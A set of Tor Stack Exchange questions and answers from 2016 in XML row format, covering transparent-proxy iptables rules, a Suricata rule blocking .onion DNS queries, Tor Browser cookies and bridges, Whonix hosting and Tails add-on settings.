  <row Id="12480" PostTypeId="1" CreationDate="2016-09-01T02:46:03.993" Score="1" ViewCount="482" Body="&lt;p&gt;This my second question is a continuation of my &lt;a href=&quot;https://tor.stackexchange.com/questions/12476/resolving-onion-domains-partially-fails&quot;&gt;first one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup is default Kali 2 and configured &lt;code&gt;anonymous&lt;/code&gt; user from &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy#LocalRedirectionThroughTo&quot; rel=&quot;nofollow&quot;&gt;TransparentProxy manual&lt;/a&gt; on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I'm using &lt;code&gt;nameserver 127.0.0.1&lt;/code&gt; in &lt;code&gt;/etc/resolv.conf&lt;/code&gt; - everything is fine. All &lt;em&gt;console network-tools&lt;/em&gt; like &lt;code&gt;dig&lt;/code&gt;, &lt;code&gt;nslookup&lt;/code&gt;, &lt;code&gt;host&lt;/code&gt;, etc, are working normally with resolving &lt;strong&gt;*.onion&lt;/strong&gt; domains into IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, If &lt;code&gt;dhclient&lt;/code&gt; rewriting &lt;code&gt;/etc/resolv.conf&lt;/code&gt; with my local DNS-servers, this idyll disappearing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can read from my first question, I'm catching DNS-requests with Wireshark on &lt;code&gt;lo&lt;/code&gt;-interface. &lt;code&gt;dig&lt;/code&gt; to &lt;strong&gt;*.onion&lt;/strong&gt; domains - redirected to &lt;code&gt;lo&lt;/code&gt; by iptablres well, but other &lt;em&gt;network-tools&lt;/em&gt; - not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does iptables redirect works with every other domains, but does not works with &lt;strong&gt;*.onion&lt;/strong&gt; and requires &lt;code&gt;nameserver 127.0.0.1&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question may sounds like: Why does &lt;code&gt;nameserver 127.0.0.1&lt;/code&gt; exists in TransparentProxy configuration, if iptables already configured to redirect every DNS-request to any IP-address to &lt;code&gt;loop-back&lt;/code&gt;:53?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Specially for @canonizing ironize:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$IPT -t nat -A OUTPUT ! -o lo -p tcp -m owner --uid-owner anonymous -m tcp -j REDIRECT --to-ports 9040&#xA;$IPT -t nat -A OUTPUT -p udp -m owner --uid-owner anonymous -m udp --dport 53 -j REDIRECT --to-ports 53&#xA;$IPT -t filter -A OUTPUT -p tcp -m owner --uid-owner anonymous -m tcp --dport 9040 -j ACCEPT&#xA;$IPT -t filter -A OUTPUT -p udp -m owner --uid-owner anonymous -m udp --dport 53 -j ACCEPT&#xA;$IPT -t filter -A OUTPUT ! -o lo -m owner --uid-owner anonymous -j REJECT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, I can not find difference between &lt;strong&gt;*.onion&lt;/strong&gt; domains and other... And how does this difference depend on &lt;code&gt;/etc/resolv.conf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14177" LastEditorUserId="14177" LastEditDate="2016-09-02T13:59:38.943" LastActivityDate="2017-01-31T00:12:40.770" Title="Why does TransparentProxy working with `nameserver 127.0.0.1` but doesn't working with iptables redirects?" Tags="|onion-routing|dns|transparent-proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12481" PostTypeId="2" ParentId="12395" CreationDate="2016-09-01T06:38:47.523" Score="1" Body="&lt;p&gt;If I'm reading correctly, you aren't actually interested in anonymity; what you want is to run a personal webserver but not expose your home internet ip to the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most direct thing to do is to rent a server (if you search for &quot;low end vps&quot; you'll find a number that are very cheap). Not only will this bypass your problem, but it also provides a much better network pipe and a service with hopefully better reliability (from things like redundant power supplies). Additionally, running a webserver is against the ToS of many home internet providers. If you want to run a server, do it on a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to reconsider why you're hesitant about sharing your home ip. What specific risks are you worried about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're really set on this path, Cloudflare provides free CDN capabilities that will cloak the backend servers' ip from users. I know that many people in the tor community dislike Cloudflare, but this is quite a useful service, and you can turn down the security options so it doesn't bother tor-using visitors.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-09-01T06:38:47.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12482" PostTypeId="1" CreationDate="2016-09-01T09:46:39.687" Score="1" ViewCount="493" Body="&lt;p&gt;So I want to use Tor and have downloaded it multiple times from this page: &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en#downloads&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en#downloads&lt;/a&gt; (which I believe was the bundle).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to totally uninstall it, which I believe I did (but don't know for sure), some people have recommended using a fresh directory which I don't know how to do. Also, the Tor website recommends the command: &quot;sudo port uninstall tor&quot;, which I've tried multiple times and entered my password but nothing happens after that.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm stuck at is at the point where it says &quot;TorBrowser is an application downloaded from the internet. Are you sure you want to open it?&quot; I click open and a regular Firefox page opens up and when I enter an .onion link or anything else, proxy errors pop up (and I've checked, the settings are correct using 127.0.0.1 and 9050 or 9150).   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this great guide with pictures (&lt;a href=&quot;https://ssd.eff.org/en/module/how-use-tor-mac-os-x&quot; rel=&quot;nofollow&quot;&gt;https://ssd.eff.org/en/module/how-use-tor-mac-os-x&lt;/a&gt;) but I can never get to the point where it actually confirms I have access to Tor. Any help with this would be greatly appreciated!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it makes a difference, I use also norton antivirus and the Mac firewall is up.&lt;/p&gt;&#xA;" OwnerUserId="14181" LastEditorUserId="13768" LastEditDate="2016-09-09T20:59:18.733" LastActivityDate="2016-09-09T20:59:18.733" Title="Mac OSX Proxy Issue" Tags="|tor-browser-bundle|mac|proxy|" AnswerCount="0" CommentCount="2" ClosedDate="2016-09-14T07:06:09.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="12484" PostTypeId="2" ParentId="12313" CreationDate="2016-09-01T15:22:08.803" Score="1" Body="&lt;p&gt;The details of &lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work&quot;&gt;how exactly hidden services work&lt;/a&gt; are a bit complicated, but the important part for this question is that both the client and the server build their own 3-node circuit to a meeting point in the middle. Thus, even if you altered your client code to connect to a known compromised exit node, the only thing that node knows is the &quot;exit node&quot; of the server's connection. Under the same principles that normally protect websites from reversing the circuit to know who you are, you similarly cannot reverse that circuit to know who the hidden service is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most dangerous node for a hidden service is its guard node, which is why &lt;a href=&quot;https://blog.torproject.org/blog/nine-questions-about-hidden-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;the tor project made it harder to become one&lt;/a&gt; after the CMU attack was made public.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-01T15:22:08.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12485" PostTypeId="2" ParentId="12293" CreationDate="2016-09-01T15:32:13.383" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1.Any captcha can be cracked through manual human labour&#xA;  2. Government agencies have resources to perform massive amounts of human labour&#xA;  3. Therefore any CAPTCHA cannot be used&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ispo facto we're all being spied on&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The point of bridges is to circumvent network blocking of tor. If the operator of the network knows more tor guard nodes, they can make it harder for you to connect to tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't &lt;em&gt;really&lt;/em&gt; help them with surveillance. It lets them know that you're using tor, but the network is designed with the assumption that an attacker already knows that.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-09-01T15:32:13.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12486" PostTypeId="2" ParentId="12269" CreationDate="2016-09-01T15:37:23.173" Score="1" Body="&lt;p&gt;You prevent IP leaks by using the tor browser bundle in its most paranoid security setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling plugins will expose you to deanonymouzation techniques. Enabling a firewall does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the defaults are the way they are is for your safety. Do not change them unless you understand the consequences.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-09-01T15:37:23.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12487" PostTypeId="2" ParentId="12210" CreationDate="2016-09-01T15:44:16.240" Score="0" Body="&lt;p&gt;Generally the best approach is to determine what your desired name should look like and then &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow&quot;&gt;use a tool to generate matches&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-09-01T15:44:16.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12488" PostTypeId="2" ParentId="11771" CreationDate="2016-09-01T20:07:22.140" Score="3" Body="&lt;p&gt;Think about this instead from the perspective of the Tor Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you're a dev and you notice that a bunch of nodes that appear to be operated by the same person, but they aren't grouped together in a family. It's possible this is an accident, but it should also throw up a red flag for you because it may be an intentional ploy to deanonymize users - so you'll spend some more time digging in to see if it's a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is designed to resist attacks from a single compromised node, so having multiple nodes from &quot;a good guy&quot; doesn't actually help that much. And in turn, you're signaling to the caretakers of the network that you're doing something suspicious, which is a waste of their time to investigate if you actually aren't.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-09-01T20:07:22.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12489" PostTypeId="2" ParentId="11747" CreationDate="2016-09-01T20:16:27.983" Score="0" Body="&lt;p&gt;Https (or more accurately, TLS) handles transport encryption. However, there's a second very important piece as well, which is &lt;em&gt;verified authentication&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Downsides of the certificate authority system aside, when you connect to, say, &lt;a href=&quot;https://facebookcorewwwi.onion&quot; rel=&quot;nofollow&quot;&gt;https://facebookcorewwwi.onion&lt;/a&gt;, not only do you know that your connection is encrypted, but the validity of the presented certificate assures you that the server you're connecting to is actually run by Facebook.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-09-01T20:16:27.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12490" PostTypeId="2" ParentId="10132" CreationDate="2016-09-01T20:25:42.603" Score="1" Body="&lt;p&gt;The AUR package should stay pretty up to date. If you want to help keep it up, you can subscribe to one of the places that new releases are announced (I use the blog rss feed) and flag the package when a new release comes out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, TBB will notify you on startup if your version is out of date. I have not checked the Arch version, but on my Mac I can use the built-in updater to download and install any updates.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastActivityDate="2016-09-01T20:25:42.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12491" PostTypeId="1" CreationDate="2016-09-01T21:40:20.930" Score="3" ViewCount="3772" Body="&lt;p&gt;Even when I set TBB's security slider to the highest level and activate all checkboxes in the security setting (where one &quot;only&quot; states to ), the cookie settings in Tor Browser still allow cookies to be set - just third-parties are disallowed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hi1ak.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hi1ak.png&quot; alt=&quot;Accept cookies from sites, only disallow third-party cookies&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically this means to me &quot;Accept cookies from sites, but disallow third-party cookies.&quot; So why not disallow cookies completely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I would like it to look like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cxD8p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxD8p.png&quot; alt=&quot;Disallow all cookies&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14186" LastActivityDate="2018-04-02T23:31:09.793" Title="Why does not Tor Browser disable cookies completly?" Tags="|tor-browser-bundle|cookies|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12493" PostTypeId="1" CreationDate="2016-09-02T03:08:14.490" Score="1" ViewCount="1686" Body="&lt;p&gt;Is it okay to use the whonix gateway to host an onion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And simply point the hidden service to a debian workstation like &quot;10.152.152.17 12345&quot;? Generally it seems best not to modify any of the whonix preconfigured settings. So I'm not sure if using the gateway to host a web server is good or bad for security. For example, if the web server in the debian workstation gets compromised, is it better that I'm using whonix or would that make it easier for an attacker to pivot through my network? Or does it not make a difference at all?&lt;/p&gt;&#xA;" OwnerUserId="14189" LastActivityDate="2016-09-02T19:02:02.573" Title="Using Whonix Gateway to host web server?" Tags="|configuration|onion-services|onion-routing|network-configuration|whonix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12494" PostTypeId="2" ParentId="12491" CreationDate="2016-09-02T03:30:29.713" Score="1" Body="&lt;p&gt;Cookies are an integral part of web functionality, it is one of the few ways that a logged in session that can reliably tracked. Without cookies you would not be able to log in to websites. So disabling them entirely would break many web experiences, like the one you just had where you posted this question, and the one I just had where I posted this answer. Without cookies the server would not know that we were who we claimed to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cookies are an overt and intentional session tracking mechanism, they are by no means the only method of tracking users across sessions. They are, however, one of the only such mechanisms that serves a legitimate purpose and that provides the user a level of control over. Browsers have a litany of covert storage/retrieval methods which are as effective for &quot;tracking&quot; as cookies are over the duration of a session, potentially more so since the user can't configure the browser to configure explicit control over them like they can with cookies.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-09-02T03:30:29.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12496" PostTypeId="1" AcceptedAnswerId="12505" CreationDate="2016-09-02T08:40:24.870" Score="1" ViewCount="795" Body="&lt;p&gt;Just like to know just in case some would like to have adblock functionalities on their Tor browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;br&gt;&#xA;Yes I know that adding this add-on will make a Tor browser appears more unique as it will add to the browser fingerprinting.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And it will require a constant look out for Tails OS update changelog for any Adblock plus updates and change the add-on's configuration accordingly. For such configuration updates might disrupt the fake Tails OS fingerprint.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For those who want to add such functionalities please be mindful of these.&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least by using Adblock Plus instead of, for example, Ublock Origins might help to blend in with other Tails users.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-07T13:34:42.847" LastActivityDate="2017-06-21T07:35:47.347" Title="What is the Tor browser's Adblock Plus default configuration on Tails OS?" Tags="|configuration|tails|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12497" PostTypeId="1" CreationDate="2016-09-02T12:28:28.697" Score="1" ViewCount="224" Body="&lt;p&gt;I have configuration like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Router [External IP: 91.111.91.111] -&gt; PC [Nat IP: 192.168.1.20] -&gt; Virtual Machine as a Gateway (Whonix - Tor) [Nat IP 10.0.2.15 + Internal Network 10.152.152.10] internal network is for next Virtual Machine -&gt; Virtual Machine Workstation [NAT IP: 10.152.152.50] on this workstation I have installed NoIP DNS: test.noip.com which always shows IP of Tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to forward port 9000 to that machine. So I set up port forwarding on router and on both Virtual Machines. But it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I lost something and not sure where I made mistake.&lt;/p&gt;&#xA;" OwnerDisplayName="user732" LastEditorDisplayName="user6671" LastEditDate="2019-02-10T18:54:58.330" LastActivityDate="2019-02-10T18:54:58.330" Title="Port forwarding with virtual machines" Tags="|network-configuration|virtual-machine|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="12498" PostTypeId="2" ParentId="12480" CreationDate="2016-09-02T14:23:20.583" Score="1" Body="&lt;p&gt;@canonizing ironize was right. It is my Setup. My mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used suricata IDS in inline mode with default &lt;code&gt;drop&lt;/code&gt; policy for almost every available rule. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, rule number 2014939:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;emerging-policy.rules:#drop udp $HOME_NET any -&amp;gt; any 53 (msg:&quot;ET POLICY DNS Query&#xA;for TOR Hidden Domain .onion Accessible Via TOR&quot;; content:&quot;|01 00 00 01 00 00 00 &#xA;00 00 00|&quot;; depth:10; offset:2; content:&quot;|05|onion|00|&quot;; fast_pattern; distance:0; &#xA;reference:url,en.wikipedia.org/wiki/.onion; classtype:policy-violation; &#xA;sid:2014939; rev:1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, it is interesting, because &lt;code&gt;dig&lt;/code&gt;'s request was working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;\331\1 \0\1\0\0\0\0\0\1\20facebookcorewwwi\5onion\0\0\1\0\1\0\0)\20\0\0\0\0\0\0\0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;host&lt;/code&gt;'s request was not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9\307\1\0\0\1\0\0\0\0\0\0\20facebookcorewwwi\5onion\0\0\1\0\1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is this place in rule: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;content:&quot;|01 00 00 01 00 00 00 00 00 00|&quot;; &#xA;depth:10; &#xA;offset:2; &#xA;content:&quot;|05|onion|00|&quot;; &#xA;fast_pattern; distance:0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Probably, &lt;code&gt;dig&lt;/code&gt; as a modern tool using more robust query &lt;code&gt;01000001&lt;/code&gt; and it does not match old version of emerging-policy rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx everybody. I dive. Ai ai, skipper!&lt;/p&gt;&#xA;" OwnerUserId="14177" LastActivityDate="2016-09-02T14:23:20.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12501" PostTypeId="1" CreationDate="2016-09-02T16:19:15.550" Score="1" ViewCount="53" Body="&lt;p&gt;I'm getting no response from browser.  (FYI:  I'm a non-savvy tech person).  The browser window opens, I enter  &quot;whatever&quot; and push search and nothing happens.  No unable to connect, or server down, or any error message.&#xA;Thanks, Steve&lt;/p&gt;&#xA;" OwnerUserId="14192" LastActivityDate="2016-09-03T01:24:51.727" Title="Connecting with Tor" Tags="|troubleshooting|" AnswerCount="0" CommentCount="2" ClosedDate="2016-09-09T20:49:12.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="12503" PostTypeId="2" ParentId="12493" CreationDate="2016-09-02T19:02:02.573" Score="1" Body="&lt;p&gt;No, do not use the gateway to host the webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the workstation to host it. In the torrc file on the gateway, you will point the server:port on the workstation. Instructions can be found on the whonix wiki here: &lt;a href=&quot;https://www.whonix.org/wiki/Hidden_Services&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Hidden_Services&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14194" LastActivityDate="2016-09-02T19:02:02.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12505" PostTypeId="2" ParentId="12496" CreationDate="2016-09-02T21:41:11.563" Score="2" Body="&lt;p&gt;&lt;em&gt;Update: Tails no longer uses AdBlock Plus, it has moved to uBlock Origin. The information here is no longer valid.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's actually the one pulled from the debian repos, &lt;a href=&quot;https://packages.debian.org/jessie/xul-ext-adblock-plus&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;xul-ext-adblock-plus&lt;/code&gt;&lt;/a&gt;, as per &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-hooks/10-tbb#n200&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;config/chroot_local-hooks/10-tbb&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-includes/etc/tor-browser/profile/preferences/0000tails.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;config/chroot_local-includes/etc/tor-browser/profile/preferences/0000tails.js&lt;/a&gt; sets some further preferences too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Adblock Plus preferences&#xA;pref(&quot;extensions.adblockplus.correctTypos&quot;, false);&#xA;pref(&quot;extensions.adblockplus.currentVersion&quot;, &quot;2.6.6&quot;);&#xA;pref(&quot;extensions.adblockplus.savestats&quot;, false);&#xA;pref(&quot;extensions.adblockplus.showinaddonbar&quot;, false);&#xA;pref(&quot;extensions.adblockplus.showintoolbar&quot;, false);&#xA;pref(&quot;extensions.adblockplus.subscriptions_autoupdate&quot;, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the patterns that it uses are available in &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-includes/etc/tor-browser/profile/adblockplus/patterns.ini&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;config/chroot_local-includes/etc/tor-browser/profile/adblockplus/patterns.ini&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-02-26T22:30:27.270" LastActivityDate="2017-02-26T22:30:27.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12507" PostTypeId="1" CreationDate="2016-09-03T00:56:53.757" Score="1" ViewCount="335" Body="&lt;p&gt;If a hidden service has to communicate with the clear net but doesnt want to either appear to be coming from a known tor exit and masking its true IP what would be the best way to achieve something like this?&#xA;Would a second hosted server and forwarding the data from HSserver to the nonHSserver and then out to teh clearnet be the best solution? &lt;/p&gt;&#xA;" OwnerUserId="13857" LastActivityDate="2017-02-02T19:55:58.733" Title="Hidden Service Communication with clear net" Tags="|onion-services|ip-address-leak|clear-net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12509" PostTypeId="2" ParentId="12339" CreationDate="2016-09-03T10:16:31.293" Score="2" Body="&lt;p&gt;A program that wants to connect to obfsproxy must first&#xA;speak the Socks4 protocol with obfsproxy. obfsproxy also has to be started with the right Tor pluggable transport enviroment variables.&#xA;There is this project: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;github.com/twisteroidambassador/pluggabletransportadapter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that handles Socks4 startup protocol and starting obfsproxy with the right enviroment variables. &lt;/p&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2016-09-03T10:16:31.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12510" PostTypeId="1" AcceptedAnswerId="12515" CreationDate="2016-09-03T18:25:03.240" Score="1" ViewCount="108" Body="&lt;p&gt;Is there a way to upload information to server so there won't be a way to detect its real IP such as by using TOR. In addition, the content of it will be shown in regular browser google search? Is there a way to make sure that search engines will always show it even if the search engines decided to take off the index?&lt;/p&gt;&#xA;" OwnerUserId="11837" LastActivityDate="2016-09-04T19:07:03.270" Title="Is there a way to upload information to server using Tor and regular google search will find it?" Tags="|security|censorship|ip-address|" AnswerCount="1" CommentCount="3" ClosedDate="2016-09-16T19:20:13.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="12512" PostTypeId="2" ParentId="1377" CreationDate="2016-09-04T07:53:27.187" Score="2" Body="&lt;p&gt;All Tor browsers has standardized user agent which helps to make Tor users to be less distinguishable from each other. By changing your user agent periodically, you are making yourself more unique from other Tor users with the standardized user agent. They always can group all the visits with abnormal user agents under a &quot;Tor&quot; category (because it's easy to check if a user came from an exit node). Thus giving adversaries an potentially easier time to pin down the identity of a Tor user and the sites that user visits on the internet.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-04T08:05:22.117" LastActivityDate="2016-09-04T08:05:22.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12513" PostTypeId="1" AcceptedAnswerId="12514" CreationDate="2016-09-04T09:12:42.630" Score="2" ViewCount="636" Body="&lt;p&gt;I've got one custom bridge (Advanced) from Tor project.&#xA;Is it enough or do I need to get more?&lt;/p&gt;&#xA;" OwnerUserId="14187" LastEditorUserId="13768" LastEditDate="2016-09-04T14:30:04.260" LastActivityDate="2016-09-04T15:24:00.780" Title="How many custom bridges do I need?" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12514" PostTypeId="2" ParentId="12513" CreationDate="2016-09-04T11:52:43.873" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en#AddTorWorks&quot; rel=&quot;nofollow&quot;&gt;According to this Tor project webpage:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor will only use one bridge at a time, but it is good to add more than one bridge so you can continue using Tor even if your first bridge becomes unavailable.   &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically it will be nice to have backup custom bridge(s) (or you can just use the other provided available bridges) in case your main custom bridge fails. I think it will be especially useful if all the other provided bridges doesn't work for some reasons too.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For exactly how many backup custom bridges you will need depends on your &lt;a href=&quot;https://ssd.eff.org/en/module/introduction-threat-modeling&quot; rel=&quot;nofollow&quot;&gt;threat model&lt;/a&gt;. Everyone have pretty different threat models catered for their situations so I can't really pin point exactly how much you will need. Maybe about 3 custom bridges will do if you are in an oppressed country but you just want to use an uncensored internet more causally? But that is just my unsupported and rather random guess. I hope it helps a bit.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="12737" LastEditDate="2016-09-04T15:24:00.780" LastActivityDate="2016-09-04T15:24:00.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12515" PostTypeId="2" ParentId="12510" CreationDate="2016-09-04T13:55:47.913" Score="1" Body="&lt;p&gt;It's simple: use a Tor hidden service for a separate instance of your website admin panel and log no IP inside it, like in a plugin &quot;This post was made from IP address 1.2.3.4&quot;... After that there's a usuall posting - via Tor - no traces found. If your website is open to Internet/Clearnet - it will be indexed just as a usual website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor itself here is just a transport layer &lt;em&gt;for posting&lt;/em&gt;, it's not altering a website behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, yes, if you're banned from a search engine - Tor won't help you either: Website-to-SearchEngine interaction is done completely in clearnet, as usual, no Tor involved.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-09-04T19:07:03.270" LastActivityDate="2016-09-04T19:07:03.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
